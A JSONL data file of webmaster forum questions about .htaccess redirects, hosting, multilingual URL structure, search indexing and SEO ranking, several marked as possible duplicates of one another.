{"id":"10700","title":"How can I redirect everything but the index as 410?","text":"Our site shut down and we need to give a 410 redirect to the users. We have a small one-page replacement site set up in the same domain and a custom 410 error page. We'd like to have it so that all page views are responded with 410 and redirected to the error page, except for the front page, which should point to the new `index.html`. Here's what in the _.htaccess_ : RewriteEngine on RewriteCond %{REQUEST_FILENAME} !-f RewriteRule !^index\\.html$ index.html [L,R=410] This works, except for one thing: **If I type the domain name, I get the 410 page**. With `www.example.com\/index.html` I see the index page as I should, but just `www.example.com` gets 410. How could I fix this?"}
{"id":"9253","title":"Does anyone have statistics on percentage of people that use search feature on a website as opposed to the navigation bar","text":"I was interested in knowing percentage of people that use search feature on a website as opposed to the navigation bar. Has search bar become more powerful than the traditional navigation bar for finding data on the site? Has the \"sitemap\" become obsolete? I know it might be a subjective question but if someone has statistics on this or a white\/technical paper, that will be great."}
{"id":"24881","title":"Cache a particular image using .htaccess","text":"I would like to cache a particular image on my website i.e the background image. So far i only see options that allow you to define the format type(png|jpg|ico) is there anyway to let the browser cache the background"}
{"id":"24886","title":"Will dofollow backlinks in a syndicated article improve backlinked pages' rankings?","text":"Do dofollow backlinks from duplicate articles across different sites improve site rankings? I guess Google etc may like to discount completely the duplicate articles and backlinks in it. Shouldn't this non-sense duplication of content be penalized?"}
{"id":"54393","title":"How to check if a WordPress SEO plugin is working","text":"I have setup my WordPress site with Yoast. However, it doesn't seem to appear in any of the search engines. In Google Webmaster Tools I don't see a sitemap. Is the plugin supposed to submit the sitemap and should it appear in Google Webmaster Tools? How do I know if it has been submitted to other search engines?"}
{"id":"26027","title":"Hosting terminology explained","text":"I am learning the Play framework, and while looking for a place to host (never hosted a site before) I find myself lost in this world. I do not understand the terminology used for pricing. I have visited several sites: * http:\/\/www.cloudbees.com\/pricing-standard-services.cb * http:\/\/www.heroku.com\/pricing#1-1 * http:\/\/aws.amazon.com\/en\/ec2\/#pricing * http:\/\/www.playapps.net\/pricing All have various tables with hard to understand pricing elements (some of which you need to set) such as * Build Usage (Builds per day, Average build duration, Working days per month..) * Dynos? worker dynos, web dynos? I am just looking to host a small website I developed (currently for learning purposes with an option to maybe grow). I don't know if the listed hosting options above are actually good for me, can any one explain the basics, or at least point me at the right direction? (also can I use any site that supports Java hosting such as `http:\/\/javaprovider.net\/` for running a Play app?)"}
{"id":"26026","title":"How do I access PHPMyAdmin after install in Ubuntu?","text":"I installed Apache and then PHPMyAdmin on my Ubuntu server, but I have not been able to access PHPMyAdmin at `http:\/\/localhost\/phpmyadmin\/`. `http:\/\/localhost` is working however."}
{"id":"64900","title":"Having an iframe of which inside the page has a noindex nofollow tag would it affect the rankings of the page having the iframe? Is it cloaking?","text":"We have a website with video content delivered from a video studio and hosted on their site since we don't want to load our server with it. The content we are embedding is payed for and we don't to rank the videos (since they are hosted elsewhere and we embed them) but to rank our posts with the videos in them. The pages in the website aren't just with the embedded videos, it has a brief review of the video inside it also. Explanation of the concept and construction: Site **_example.com_** has an iframe: <iframe src=\"http:\/\/www.example.com\/steve.html\"><\/iframe> Inside the file **_steve.html_** which is under the same domain example.com there are the meta tags: <META NAME=\"ROBOTS\" CONTENT=\"NOINDEX\"> <META NAME=\"ROBOTS\" CONTENT=\"NOFOLLOW\"> And in the body there is another iframe video embed code from the external website. Now my questions are: _Is this considered cloaking?_ _Would we be better off without the nofollow\/noindex as now Google cant see the iframed content and where the video iframe is in Google eyes appears a big nothing?_ Any suggestions? Edit to clarify it a bit here: We have a post Example.com\/review Inside it there is an iframe (example.com\/iframespace with no follow\/noindex) inside this iframe (example.com\/iframespace) there is another iframe of the video embed code. Would the iframe with the nofollow\/noindex affect the post example.com\/review which contains the iframe?"}
{"id":"24579","title":"What database use for huge servers?","text":"Suppose I had a HUGE website (which I don't, but let's suppose), the common MySQL on a single server wouldn't work, because the MySQL server wouldn't be able to handle thousands of requests per second fast enough. How can you have several database servers that link to the same data but work independently of each other? **What are the softwares available?**"}
{"id":"45113","title":"Hosting multiple low traffic websites on ec2","text":"We have like 30 websites with almost no traffic (<~10 visits \/ day) which are currently hosted on a dedicated server. We are evaluating hosting on Amazon EC2 however I'm not sure how to do that properly. * One (micro) instance per website is too expensive * ~10 websites on one instance (using apache virtual hosts) make auto scaling impossible (or at least difficult) Or is cloud computing not suitable for such a usecase?"}
{"id":"45114","title":"Do other search engines support Google's \"hash bang\" syntax for crawling AJAX applications?","text":"Google has a really nice document explaining how web developers can get Google to crawl non-AJAX versions of their web applications to make it possible for Google to index AJAX-heavy websites. Do any other search engines support this standard? I'm specifically interested in the fragment `meta` tag method, not just the `#!` URL method."}
{"id":"64908","title":"Does the name server reported by whois get automatically updated when moving hosts?","text":"This is regarding the nameserver info shown on who.is, example: name server: ns1.NS-example.net When a domain is transferred to another host provider, is it possible for whois to show a nameserver from a previous host? Does this info automatically get updated via the new server settings?"}
{"id":"403","title":"How should I structure my URLs for both SEO and localization?","text":"When I set up a site in multiple languages, how should I set up my URLs for search engines and usability? Let's say my site is `www.example.com`, and I'm translating into French and Spanish. What is best for usability and SEO? **Directory option:** http:\/\/www.example.com\/sample.html http:\/\/www.example.com\/fr\/sample.html http:\/\/www.example.com\/es\/sample.html **Subdomain option:** http:\/\/www.example.com\/sample.html http:\/\/fr.example.com\/sample.html http:\/\/es.example.com\/sample.html **Filename option:** http:\/\/www.example.com\/sample.html http:\/\/www.example.com\/sample.fr.html http:\/\/www.example.com\/sample.es.html **Accept-Language header:** Or should I simply parse the `Accept-Language` header and generate content server-side to suit that header? Is there another way to do this? If the different language versions don't have different urls, what do I do about the search engines? * * * _**UPDATE 2011-12-06_** _Google has new recommendations for`meta` tags for explicitly pointing to other language content: New markup for multilingual content._ _**UPDATE 2012-05-25_** Related but not precisely: Multilingual and multinational site annotations in Sitemaps _**UPDATE 2013-06-12_** Targeting site content to a specific country includes discussion of several URL schemes directly relevant to the question."}
{"id":"34185","title":"multilingual mobile site and google seo","text":"> **Possible Duplicate:** > How should I structure my urls for both SEO and localization? What's the preferred SEO compliance for a mobile website that is multilingual ? I have - web: en: http:\/\/mysite.com fr: http:\/\/fr.mysite.com es: http:\/\/es.mysite.com mobi: http:\/\/m.mysite.com Should I use http:\/\/m.fr.mysite.com for my mobile french version ? Nothing is specified on google blog for mobile : http:\/\/googlewebmastercentral.blogspot.co.uk\/2011\/12\/new-markup-for- multilingual-content.html"}
{"id":"53771","title":"Do I have duplicate content issues to be worried about?","text":"We built a website targeting different regions but with the same English language (Ireland, England and America). The content for the most part is the same set up on 3 different subfolders. `http:\/\/www.example.com\/` - targeting the United States in WMT `http:\/\/www.example.com\/ie` - targeting Ireland in WMT `http:\/\/www.example.com\/uk` - targeting UK in WMT Do I have duplicate content issues to be worried about? If so, how do I get around this issue? Also is there anyway of finding out if Google have in some way penalised these pages for having the same content on other pages trageting different countries? I have not received any messages from Google in WMT saying there is duplicate so I'm not sure if this is an issue."}
{"id":"27723","title":"Are there advantages of using hard coded URLs for localization?","text":"> **Possible Duplicate:** > How should I structure my urls for both SEO and localization? On the Synergy website, localization is detected (and can be overridden) but uses the same URL for all languages. Some websites however, like Wikipedia have language specific subdomains. What are the advantages of having either subdomains or subdirectories (i.e. a specific URL) for each language localization? Also, should it automatically redirect the user to the specific subdomain\/subdir based on the language that the browser requests? I suspect that there are advantages, which I'm guessing are: 1. When the website appears in search results for non-English languages, the translated page description will be shown (assuming there is a translation provided by the website). 2. When a user shares a page (e.g. through twitter), it will show in a specific language. Perhaps this is a disadvantage though? Am I correct, if so, are there more advantages?"}
{"id":"58797","title":"SEO & PageRank optimization when using translated content across three different TLDs","text":"We have a website **example.gr** translated in three languages (Greek, English & German). We have also registered two more TLDs **example.com** & **example.de** So far, based on what the user types in his(her) browser we have... example.gr - shows the Greek content example.com - shows the English content example.de - shows the German content The content in languages English & German is a translation of the Greek content. The company is starting to expand world wide, so I am thinking of redirecting (301 Permanent Redirect) all domains... example.gr, example.de (with or without www) and example.com to **www.example.com** Is that a good practice (SEO and PageRank)? Or it would be better to redirect example.gr (with or without www) to www.example.com\/?lang=gr example.de (with or without www) to www.example.com\/?lang=de example.com to www.example.com (the English content) Please advise."}
{"id":"56702","title":"Country specific website URL for SEO","text":"I am developing a new site and have two domains. One is the `.com` domain and the other is the country specific `.in` domain . The market for my products is both in India and and globally and outside of India. Is it in any way beneficial from an SEO perspective to have a country specific URL or does it not matter?"}
{"id":"55629","title":"What is the best strategy for multilingual websites","text":"I've been asked to create a site which targets multiple languages. The client is multilingual themselves so coming up with the content in different languages is no problem. My aim is to get the best SEO in all languages but at the same time not split the SEO equity across multiple domains (.co.uk, .de etc...). Is there a viable way I can create a multilanguage site under one (domain) roof, and if not, what other strategies are there?"}
{"id":"63111","title":"different content, same url, bad for SEO?","text":"I want to translate the page based on the accept-language headers, do I need to redirect to \/$lang or having different content(actually same content but translated) in the same url is ok?"}
{"id":"55352","title":"How do avoid dupe content with different countries+locales?","text":"I'm considering hosting different translations of my web site via a subdirectory for each; for example: http:\/\/www.mydomain.com\/en-US\/ http:\/\/www.mydomain.com\/en-CA\/ http:\/\/www.mydomain.com\/fr-CA\/ http:\/\/www.mydomain.com\/fr-FR\/ (or I will use subdomains instead of subdirectories). The en-US and en-CA pages may have very similar content, and I am worried Google will see this as dupe content. There may be multiple paragraphs with exactly the same text, and maybe a heading will have one different word in it...so both pages may be 90% - 95% the same. Will this be a problem? How can I avoid my site ranking from being affected for dupe content?"}
{"id":"33068","title":"What is better with 3 languages: domain-lang.org x 3, domain.org\/lang or lang.domain.org?","text":"> **Possible Duplicate:** > How should I structure my urls for both SEO and localization? I have three domains for similar content in three languages. One in each. I have now been told that the languages are better off as subdomains or even as sections. My question is, thus, what is best from a SEO point of view: * domain- **lang**. com\/ * **lang**. domain. com\/ * domain. com\/ **lang** \/"}
{"id":"1833","title":"What's the best way to split up the multilingual parts of my site?","text":"> **Possible Duplicate:** > How should I structure my urls for both SEO and localization? I want to have my site available in several different languages. I've seen some sites that use country code top level domains (jp.blah.com), some include the language in the URL ( blah.com\/jp\/questions ), and some don't even include the language in the URL and just use the browsers locality setting or cookies to determine the language to be displayed. What are the pros and cons of each approach? Are there any techniques that I missed?"}
{"id":"28895","title":"Should I have a separate URL for each language and each page?","text":"> **Possible Duplicate:** > How should I structure my urls for both SEO and localization? Please be specific, I already plan to change the language based on the Accept Language header, and then any user-specific overrides (in a cookie) Basically: Should I have example.com\/es and example.com\/cn or just example.com with different content? Situations to consider: I link you to an english language version of example.com but you are a native Chinese reader. Should you go to example.com and see Chinese? English? or be redirected to example.com\/cn? Do google and bing (and Baidu) crawl multiple times with different Accept- Language headers? I'd guess not but I'd like references. Even if they did, having separate URIs would probably get you crawled quicker, because you could put each one in your sitemap. What would I do in either case if I don't have some given content translated? Like a blog post that is english only on the day it is published. Any thoughts are appreciated. Thanks"}
{"id":"30339","title":"Moving one site in Webmaster Tools to more than one site","text":"> **Possible Duplicate:** > How should I structure my urls for both SEO and localization? I have a Question and Answer site about immigration. now I divided it into 2 sites: **mysite.co.uk** about immigration to UK **mysite.com** with sub domains for every country, Like: _australia.mysite.com_ , _sweden.mysite.com_ , ... now I had moved All the content from my first site into .co.uk and .com site and it's sub domains to fill theme. I now that Google will detect my new 2 sites as duplicate of first on and it is very bad for SEO. and I don't think Google webmaster tools has a tool for it. so Please Guide me how to fix this problem."}
{"id":"55821","title":"SEO - Language on Static site","text":"We have been tasked with re-building a Wordpress site for a spanish hotel - Its currently a Wordpress site - but they want it re-designed as an attractive static HTML site - all pretty straightforward - other than the fact that it currently has a language switcher (English to Spanish and visa versa). Being a static site I felt the easiest way to approach the change of language was to duplicate the site and add text to a spanish version of the site in a \/spane folder - and simply add links to the folder and to the root depending on language pref. My questionsis - would this approach have any negative SEO implications (having dual content)? Can anyone recommend a better solution if so?"}
{"id":"28399","title":"Multiple country-specific domains or one global domain","text":"> **Possible Duplicate:** > How should I structure my urls for both SEO and localization? My company currently has its main (English) site on a .com domain with a .co.uk alias. In addition, we have separate sites for certain other countries - these are also hosted in the UK but are distinct sites with a country- specific domain names (.de, .fr, .se, .es), and the sites have differing amounts of distinct but overlapping content, For example, the .es site is entirely in Spanish and has a page for every section of the UK site but little else. Whereas the .de site has much more content (but still less than the UK site), in German, and geared towards our business focus in that country. The main point is that the content in the additional sites is a subset of the UK, is translated into the local language, and although sometimes is simply only a translated version of UK content, it is usually 'tweaked' for the local market, and in certain areas, contains unique content. The other sites get a fraction of the traffic of the UK site. This is perfectly understandable since the biggest chunk of work comes from the UK, and we've been established here for over 30 years. However, we are wanting to build up our overseas business and part of that is building up our websites to support this. **The Question:** I posed a suggestion to the business that we might consider consolidating all our websites onto the .com domain but with \/en\/de\/fr\/se\/etc sections, as plenty of other companies seem to do. The theory was that the non-english sites would benefit from the greater reputation of the parent .com domain, and that all the content would be mutually supporting - my fear is that the child domains on their own are too small to compete on their own compared to competitors who are established in these countries. Speaking to an SEO consultant from my hosting company, he feels that this move _would_ have some benefit (for the reasons mentioned), but they would likely be significantly outweighed by the loss of the benefits of localised domains. Specifically, he said that since the Panda update, and particularly the two sets of changes this year, that we would lose more than we would gain. Having done some Panda research since, I've had my eyes opened on many issues, but curiously I haven't come across much that mentions localised domain names, though I do question whether Google would see it as duplicated content. It's not that I disagree with the consultant, I just want to know more before I make recommendations to my company. _What is the prevailing opinion in this case? Would I gain anything from consolidating country-specific content onto one domain? Would Google see this as duplicate content? Would there be an even greater penalty from the loss of country-specific domains? And is there anything else I can do to help support the smaller, country-specific domains?_"}
{"id":"28322","title":"Delay before getting URLs into Google's in web index?","text":"4 days ago, I have submitted a `sitemap.xml` into Google's WebMaster Tool for a new website. It contains 3 entries. I have tested the site map and Google found not errors. In about how much time can I expect URL entries to be added in Google's web index? It is still 0 for now."}
{"id":"44155","title":"How do I map a (keyword rich) domain name to an existing website?","text":"I am not experienced technical person, and still learning but will try to explain what I have done so far and what my query is. I have a (hypothetical) domain az-studios.com On that domain I have 3 subdomains: **london.az-studios.com** **newyork.az-studios.com** **paris.az-studios.com** Each of them have 301 header redirections as follows: **london.az-studios.com** -> **www.az-studios.com\/london** **newyork.az-studios.com** -> **www.az-studios.com\/newyork** **paris.az-studios.com** -> **www.az-studios.com\/paris** So I can maintain only one unique HTML document (that appears to be three different paths) I have setup .htaccess to use MOD_REWRITE as follows: **www.az-studios.com\/london** -> **www.az-studios.com?city=london** **www.az-studios.com\/newyork** -> **www.az-studios.com?city=newyork** **www.az-studios.com\/paris** -> **www.az-studios.com?city=paris** This is so far the existing structure. I have recently purchased three (hypothetical) keyword rich domains: **movie-studio-london.com** **movie-studio-newyork.com** **movie-studio-paris.com** What I would like to achieve is to have these three domains pointing as following: **www.movie-studio-london.com** -> **www.az-studios.com?city=london** **www.movie-studio-newyork.com** -> **www.az-studios.com?city=newyork** **www.movie-studio-paris.com** -> **www.az-studios.com?city=paris** The only tricky thing I can't figure out is how I do that so that from a Google SEO point of view, it does not use 301 redirects, no frame. I would like **www.movie-studio-london.com** to show to visitors (and especially Google bots) as a standard website (with no funny JavaScript, links, 301 redirect, frames etc). Some of you might scream \"duplicate content\" but the websites, although using the same index.php are _very_ different. I am also aware that this could be seen as doorway but these new purchased domains really define (with keywords) my products and what the different websites are about. Any idea? Any more details, please ask... Thanks Vincent"}
{"id":"22874","title":"Does naming my website like this cause a copyright infrigment?","text":"I want to create a website for a particular industry. There is a term that is used quite widely in the industry - for the sake of argument, lets say the expression is \" **great scott** \". The term is used by a lot of people - and as far as I know, the expression (\"great scott\" in this example), is in the \"public domain\", in that it is used freely by all and sundry, and the term is generally understood without having to explicitly state what the words mean. Having said all that, there is an industry 500lb equivalent gorilla, which has a domain with the domain name **www.greatscott.com**. However, the domain **www.egreatscott.com** is available. What is the risk (or indeed legal basis of) a legal suit from the 500lb gorrila company if I start my website (which is in the same industry), using the domain name **www.egreatscott.com** ? Are there any legal precedents for such a law suit?"}
{"id":"22875","title":"Looking for dedicated volunteer matching website software","text":"I am building a medical volunteering website for a NFP using Wordpress and the Nine to Five theme. It is working (in a test environment) okay, but wondering if anyone has come across dedicated volunteer matching website software."}
{"id":"42838","title":"My .htaccess entry is not working","text":"The below are all my .htaccess entry: RewriteEngine on RewriteCond %{HTTP_HOST} !^www\\.acethehimalaya\\.com$ [NC] RewriteRule (.*) http:\/\/www.acethehimalaya.com\/$1 [R=301,L] redirect 301 \/brochure_request.php http:\/\/www.acethehimalaya.com\/request-brochures.html redirect 301 \/testimonials.php http:\/\/www.acethehimalaya.com\/testimonials.html RewriteCond %{THE_REQUEST} ^.*\/index.php RewriteRule ^(.*)index.php$ http:\/\/www.acethehimalaya.com\/$1 [R=301,L] But the last entry for redirecting: http:\/\/www.acethehimalaya.com\/tripdetails.php?trip_id=8 to http:\/\/www.acethehimalaya.com\/destinations\/nepal\/nepal-trekking\/everest-base-camp-budget-trek.html is not working. The code i have used is below: RewriteCond %{REQUEST_URI} ^\/tripdetails.php$ RewriteCond %{QUERY_STRING} ^trip_id=8$ RewriteRule ^(.*)$ http:\/\/www.acethehimalaya.com\/destinations\/nepal\/nepal-trekking\/everest-base-camp-budget-trek.html [R=301,L] Its been like days and i m struck so can anybody figure this out."}
{"id":"2","title":"What are the best ways to increase a site's position in Google?","text":"What are the best ways to increase a site's position in Google?"}
{"id":"237","title":"Basic SEO Optimization","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? What are the basic things a webmaster can do to make it's site SEO optimized? I know of adding page relevant keyword and description in the meta tag... What are the others? Thanks."}
{"id":"28884","title":"Google is not indexing my pages","text":"I just typed a post title from a few days ago into Google with \"quotes\" around it and nothing is showing up. Does Google hate me? I am doing nothing but white hat marketing and even took down the pictures that I ripped from other sites. Does any one have any suggestions?"}
{"id":"43973","title":"How to give SEO support for our website?","text":"I wanna to asking, how to give SEO support for our website? How to get high page rank in search engine for our website. Please give\/share about the trick or knowledge. Thank you. Regards, Lena"}
{"id":"56674","title":"Most of my pages weren't indexed","text":"I've submitted a sitemap (XML) of my Drupal (7) site to Google Webmaster Tools and it says that my sitemap contains 285 pages and that only 87 pages were indexed. There are no errors and no additional info or problems. There are no duplicates. Any idea why most of my pages weren't indexed? When I Google my site ( i.e.: search the following in Google : `site:www.mysite.com\/`), I get ~200 pages (results) which is better, but not perfect."}
{"id":"49377","title":"Webmaster tools shows zero page indexed","text":"I have a website with over 60 articles (dynamic pages), a couple of profile pages, about sections, terms of use, contacts, pretty much everything. I've added my site to webmaster tools and it seems that it is being crawled but not indexed. I don't have a site map but I have other pages which are designed in the same way, yet they seem to be indexed fine. What could be the problem?  On a second thought it seems that very few pages are crawled. _**Could it be that all my pages are on sub domains?_**"}
{"id":"29653","title":"Promoting certain keywords","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? I am not a person from SEO background so its quite possible that my question might either is off topic or is not a valid one. i have developed a web-site (TheColorsofMySoul) using WordPress and its basically for writers, portal in itself contains a variety of topics. Though i am taking care of providing good titles, descriptions as well keywords of each posts which is being published but i want to promote some specific words in general. e.g Site is for writers and bloggers so i want to promote some specific keywords like \"online writing community\" so that if some one search for such words on Google, search engine can place my site on some top results. i know that its quite a big tasks but i am not sure how to use those words in my site so that i can able to boost the search result ranking for these words any help\/resources will really be helpful for me"}
{"id":"23798","title":"Google is not indexing the entirety of my site","text":"I require google to index the entirety of my site: 10 or so basic sections with 80,000+ individual job offer pages. However, to date, only 2,900 pages have been indexed by google. I'd like to know why... only 2,900 but not 80,000+. I figure, if there were something wrong with my job offer pages, then there wouldn't be those 2,900 values indexed but rather 0... I have a 'page' sitemap which, link by link, leads to each and every ad (paginated) My XML sitemap is lacking though. So does this mean you absolutely need an XML sitemap when you're dealing with tens of thousands of unique pages? http:\/\/haytrabajo.mx is the URL http:\/\/haytrabajo.mx\/mapa is the 'page' sitemap"}
{"id":"67140","title":"Add my dynamic page URL to Google results","text":"Now I am working on Google SEO. My website URL is like `http:\/\/example.com` and When I Google it I can get my website results on top of the page. But my domain has a dynamic link like: http:\/\/example.com\/about\/alax http:\/\/example.com\/about\/john http:\/\/example.com\/about\/max http:\/\/example.com\/about\/selva and so... So when I Google it with query like `alax sit:example.com` in Google text box, it shows empty result. 1. How can I add all my links to Google? 2. What I need to do for getting the result from Google?"}
{"id":"24206","title":"Can anyone recommened some up to date documentation on SEO","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? I havnt done this for a while and know that search engines are more clever now. Does anyone know of some good tips or websites to tell me how to do SEO properly, preferably using modern standards (not the old- add 300 tags to the page)."}
{"id":"30320","title":"Homepage not showing on Google","text":"About six weeks ago my homepage (mayberrykayakingdotcodotuk) disappeared from the google organic search for \"kayaking pembrokeshire\" despite it having been number 2 within a few weeks of it's launch last summer. My previous site (www.mikemayberrykayakingdotcodotuk) had been 2nd for about six years and has 301 redirects for all pages to the new site. Google toolbar still rates the homepage as 3\/10 and the domain is still showing in search results, just not the homepage. A little research suggests that this is most likely to be due to an issue with google treating two pages as identical content (one with www. and one with not) since the changes in their algorithms around that time and that the way to fix this is to add some code somewhere. This makes sense to me as my print advertising doesn't have the www part of the address. I have cpanel access but a limited knowledge on web coding, having picked things up as I've gone along and paid for designers etc., when needed. Would someone be able to let me know where I have to go to add the code and what code I need to add to redirect the crawlers to one page? Or is there another issue that is causing this?"}
{"id":"6351","title":"Why isn't Google crawling on my blog?","text":"I have a blog. I made it in August, 2010. It has been awhile, but I am unable to make Google crawl on my site. I have requested Google to crawl but there is still no response. Are there any reasons of note why it is happening?"}
{"id":"64784","title":"Why my website doesn't appear in Google search results?","text":"I've made a simple website for a friend's bakery and it doesn't appear in Google's search results **even if I search for the whole domain name** of the site. What can be the problem? How to make it appear? (The site)"}
{"id":"26485","title":"How I can optimize my websites into the search engines?","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? How I can optimize my thesewebsites into the search engines? http:\/\/capablerealestate.com http:\/\/ajnaralondonsquare.co.in"}
{"id":"47854","title":"What is the best ways to generate organic traffic?","text":"After introducing the Google Panda, bloggers and webmaster have been facing the great challenges. Duplicate content is the key issue and spam boat traffic is second issues for Google Panda in this great critical situation, how to beat Google Panda and what are the best sources to drive organic traffic? Is there any pragmatic solution over this probolem?"}
{"id":"10281","title":"SEO Tips and Tricks for web developers","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? I know most of the Users of Stackoverflow would have knowledge about **Search Engine Optimization(SEO)**.. Any tips and tricks about SEO for your fellow web developers ... **EDIT:** * Good book about SEO? * Good blogs\/websites about SEO?"}
{"id":"49394","title":"Debugging reason for specific site sections with significantly low appearance in SERP","text":"I'm experiencing very little exposure for specific sections in my site compared to different sections. Most of my traffic is long-tail queries, in the popular SERP, and non-popular SERP sections. I know this is a pretty broad question, but, how would you suggest debugging possible reasons for this issue? Specific Info: * 'Problematic' pages are linked to from 'popular' pages and sitemap * Most of Titles of 'Problematic' pages are similar to title of 'popular' pages, but not exactly the same. * Most of these pages don't have many internal or external links * These pages contain many photos and not a lot of text * Google has indexed about 175k pages (from 1M), but only displays in SERP about 10. * Pages don't include 'noindex' Any insights appreciated."}
{"id":"7587","title":"What is Google search engine interested in on HTML pages?","text":"> **Possible Duplicate:** > What are the best ways to increase a site's position in Google? I know there are meta keywords, HTML structure, and site map but what else is Google interested in?"}
{"id":"30725","title":"How do I make the home page of the website to come up in the rankings than the internal pages?","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? Suppose I have a website, e.g. **`www.example.com`** that comes at **number 6** on the Google search rankings. But the internal pages of the website i.e. **`www.example.com\/index.php?a=1&b=2`** or **`www.example.com\/index.php`** comes at **number 2** of the rankings. How would I make my prime domain name **www.example.com** to come at the top of the list ? Any guidance would be appreciated."}
{"id":"59515","title":"What more to use for SEO?","text":"I was wondering how I could optimise the Google results? when I type the name of my company it wil show up, but I would like it to also show up if I type (design langezwaag) or (webdesign langezwaag) because i'm the only people in the village i'm living in that is doing this kind of stuff. My company isn't registered because i'm only a student. What i'm already using: Google site search (I think this helps some) Google Analytics Share this plugin News page Meta and alt : i'm not using (I read Google doesn't indexes those anymore) No links page : heard that system of links and backlinks isn't usefull anymore. Is it possible to make it an bigger range of search terms to be found at? or any other ways to optimise the possibility to be found any more? --- edit --- Also using most and falid as possible HTML5 and CSS3 think I read Google also checks this. ---edit--- Most of the page are .php files son't know if that makes any difference."}
{"id":"59733","title":"On-Page optimization of Home Page","text":"How to do on-page optimization of a home page (for a industrial company\/ product developement co, service provider etc) ? Home page of a site as compared to a blog is a mother page a base page where it provide snapshot of all the services the company, professional has to offer and other important info like internal page links and contact info ?"}
{"id":"20407","title":"Some queries about Blogger SEO","text":"I have been using Blogger from past 2 years and happy with it. Recently I read many articles saying WordPress is far more better than Google Blogger in terms of SEO. That can be true to some extent. But what I think is if you have good content and SEO optimization, your blog and site will get higher rank irrespective of your using WordPress or Blogger. **What can I do to improve my Blogger's rank?** I have been reading SEO articles from last 2 weeks and thinking of implementing some of the things in my next post. I am implementing following things for better SEO. I would love if someone would correct me if I am making any mistakes. 1.Titles are important and the URL too. Blogger allows 40 characters in URL that's why I post the title with keywords in it and then I re-post it with the actual title I want users to see. For example: if my post is about \"Best outfits\" I will post with title \"worlds best women men outfits clothing\" which has keywords and Blogger will create url like `www.xyz.blogspot.com\/06\/11\/worlds-latest -best-women-men-outfits` Then I can re-post it with new user readable title \"World's Best Outfits For Men & Women, Latest Trends in Outfits\" 1. The first 200 words of the post are important, so I try to use the relevant important keywords at the beginning of post. But keyword stuffing can get my blog de-indexed from Google, so I try to make sentences from the keywords. For example I am writing about iPhone. I would use following line to start my post _\"Article about iPhone, iPhone's release date, its features functions & price. Is Galaxy s2 better than iPhone 4\"_ I am not sure if it is right or wrong ethically. 2. I try to give links of my another post at the starting of my current post or ending of my post. I have read somewhere that links containing keywords are weighted higher in search engines and search engines give more importance to starting and ending of the post. 3. I try using keywords in the whole post whenever it is possible, Around 7-8 times. I take care that I'm not stuffing keywords unnecessarily. 4. I use 4-5 labels(tags) for every post containing keywords and I show labels just before the post and after the post. 5. I keep at least 10 posts on my home page and label cloud and blog archive too. 6. SEO experts say Use `H2` tags for important keywords & titles. I am not sure, but does it really help? I try to put titles in `H2` or `H3` tags and if I am using titles inside the post I try to use `H2` tags for it."}
{"id":"53591","title":"Bing crawls my sitemap, but pages don't show in results","text":"Before voting my question down, I must note that I have searched the forum. That being said: I have a sitemap, which is pretty large (25k pages). These are products for sale. The products are used auto parts. Helping the web site \"ahparts dot kom\" So .com\/sitemap.xml (the big one) is submitted to bing's webmaster tools, and says it has crawled just fine, but I can never find any of the pages in the search results - over a year of trying! I thought the big sitemap might be the issue, so I made a second sitemap \"sitemap2.xml\" whcih only contains 2.5k pages. Same story with that one. I might mention that google has crawled and indexed all of the pages on sitemap just fine! Anyone have any ideas as to what I can try? I might mention that the URLs are all without variables such as ?id=58499 or something like that. They are rewritten, cleaned up URLs. Thanks, Dav"}
{"id":"25950","title":"How to increase visitors of my Website per day","text":"> **Possible Duplicate:** > How can I increase the traffic to my site? My website is fully implemented with `SEO` and registered in all webmaster tool like of _Google,Bing,Yahoo_ etc.. As result, **500 pages** of my website are listed in Google and lots of images as well. There is **google site-links** are available of my Website. Thought my website does not have more than 100 visitors per day(By Google Analytic) So what to do to increase visitors of my website."}
{"id":"55804","title":"Seo tips for blog","text":"I've got a Blogger blog, how can I grow traffic from search engines? And what optimizations can I do for the blog?"}
{"id":"13081","title":"How to increase site ranking? for a keyword: Sushil Handa","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? I have a website located at: http:\/\/www.fifthvedaentrepreneurs.com I am trying to get this website ranking as high as possible on Google with the Keyword \"Sushil Handa\" (promoter of the company). How do I do that? I am using various link building strategies but not very successfull so far. Please share your ideas. Thanks in adavance for your kind co-operation. Sincere Regards, Sushil Handa CEO - The Fifthveda Entrepreneurs"}
{"id":"58603","title":"Why Google Webmaster tools showing index status 0?","text":"I've added my site to Google Webmaster tools kanosa.com. The site was submitted a few months ago. The index status shows 0 but it shows multiple URLs have been indexed in the sitemaps section. If I search in google I can see that the site is indexed and several pages appear:"}
{"id":"61792","title":"What replaces meta keywords if Google doesn't use them anymore?","text":"As a majority of webmasters already know that Google does not use Keywords anymore to help index a website properly. Which is understandable by people exploiting the system to try to gain a better ranking for keywords that they don't use with their sites. My current thoughts of this questions are: * Writing _good_ content. * Meta description should still work * Allowing for the site to be easily indexed thanks to HTML markup * Google Webmaster Tools gives insight * Google Analytics tells me where my users are going and why... ? * HTML Breadcrumbs What do we replace with the keywords to help Google index out sites accordingly and more accurately?"}
{"id":"47309","title":"index pages that only can find with search","text":"I have a website that have 5 static pages and more than 700 dynamic contents that only can access them by search. I create `sitemap.xml` that include 5 static pages and whole of dynamic contents. But Google webmaster tools shows that Google only index static pages what do I must to do to index all pages. In Google webmaster tools is wrote that 7xx page are submitted and 5 pages are indexed"}
{"id":"53102","title":"A new WP website and Google-indexed 0 pages?","text":"I haven't seen this before, but google has indexed 0 pages of a WP based website i am working on. It's a simple website and the content is handled by the client, all technical stuff is up to me. It's been a week+ but i can't get the website indexed and i don't see any error\/warning messages in google webmaster tools. Things i have done: - sitemap - connected the analytics Any tips suggestions?"}
{"id":"33544","title":"SEO Team in a fix","text":"> **Possible Duplicate:** > What are the best ways to increase a site's position in Google? I am getting a educational website developed by dedicated developers. I have a SEO team as well. We are working on the SEO and SEM for past six months and were able to get our keywords ranked in top pages. But since the latest panda update by google all our keywords went down. We researched a lot to get around but couldn't get the right direction. None of blogs gave any emphatic suggestion. Our SEO team is in a complete fix. Can anyone please shed some light on this?"}
